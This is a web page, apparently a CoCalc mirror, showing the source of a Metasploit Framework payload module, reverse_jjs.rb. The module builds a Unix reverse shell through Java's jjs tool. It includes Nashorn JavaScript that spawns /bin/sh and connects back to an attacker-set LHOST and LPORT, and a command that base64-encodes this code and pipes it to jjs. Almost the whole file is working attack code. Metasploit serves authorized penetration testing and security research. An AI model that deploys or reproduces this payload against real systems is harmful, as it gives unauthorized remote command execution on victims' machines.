CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_jjs.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 863
10
11
include Msf::Payload::Single
12
include Msf::Sessions::CommandShellOptions
13
14
def initialize(info = {})
15
super(merge_info(info,
16
'Name' => 'Unix Command Shell, Reverse TCP (via jjs)',
17
'Description' => 'Connect back and create a command shell via jjs',
18
'Author' => [
19
'conerpirate', # jjs reverse shell
20
'bcoles' # metasploit
21
],
22
'References' => [
23
['URL', 'https://gtfobins.github.io/gtfobins/jjs/'],
24
['URL', 'https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/'],
25
['URL', 'https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html'],
26
],
27
'License' => MSF_LICENSE,
28
'Platform' => 'unix',
29
'Arch' => ARCH_CMD,
30
'Handler' => Msf::Handler::ReverseTcp,
31
'Session' => Msf::Sessions::CommandShell,
32
'PayloadType' => 'cmd',
33
'RequiredCmd' => 'jjs',
34
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
35
))
36
register_options(
37
[
38
OptString.new('SHELL', [ true, 'The shell to execute', '/bin/sh' ])
39
]
40
)
41
register_advanced_options(
42
[
43
OptString.new('JJSPath', [true, 'The path to the JJS executable', 'jjs'])
44
]
45
)
46
end
47
48
def generate(_opts = {})
49
return super + command_string
50
end
51
52
def command_string
53
lhost = datastore['LHOST']
54
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
55
56
jcode = %Q{
57
var ProcessBuilder=Java.type("java.lang.ProcessBuilder");
58
var p=new ProcessBuilder("#{datastore['SHELL']}").redirectErrorStream(true).start();
59
var ss=Java.type("java.net.Socket");
60
var s=new ss("#{lhost}",#{datastore['LPORT']});
61
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
62
var po=p.getOutputStream(),so=s.getOutputStream();
63
while(!s.isClosed()){
64
while(pi.available()>0)so.write(pi.read());
65
while(pe.available()>0)so.write(pe.read());
66
while(si.available()>0)po.write(si.read());
67
so.flush();
68
po.flush();
69
Java.type("java.lang.Thread").sleep(50);
70
try{p.exitValue();break;}catch(e){}
71
};
72
p.destroy();s.close();
73
}
74
minified = jcode.split("\n").map(&:lstrip).join
75
76
%Q{echo "eval(new java.lang.String(java.util.Base64.decoder.decode('#{Rex::Text.encode_base64(minified)}')));"|#{datastore['JJSPath']}}
77
end
78
end
79
80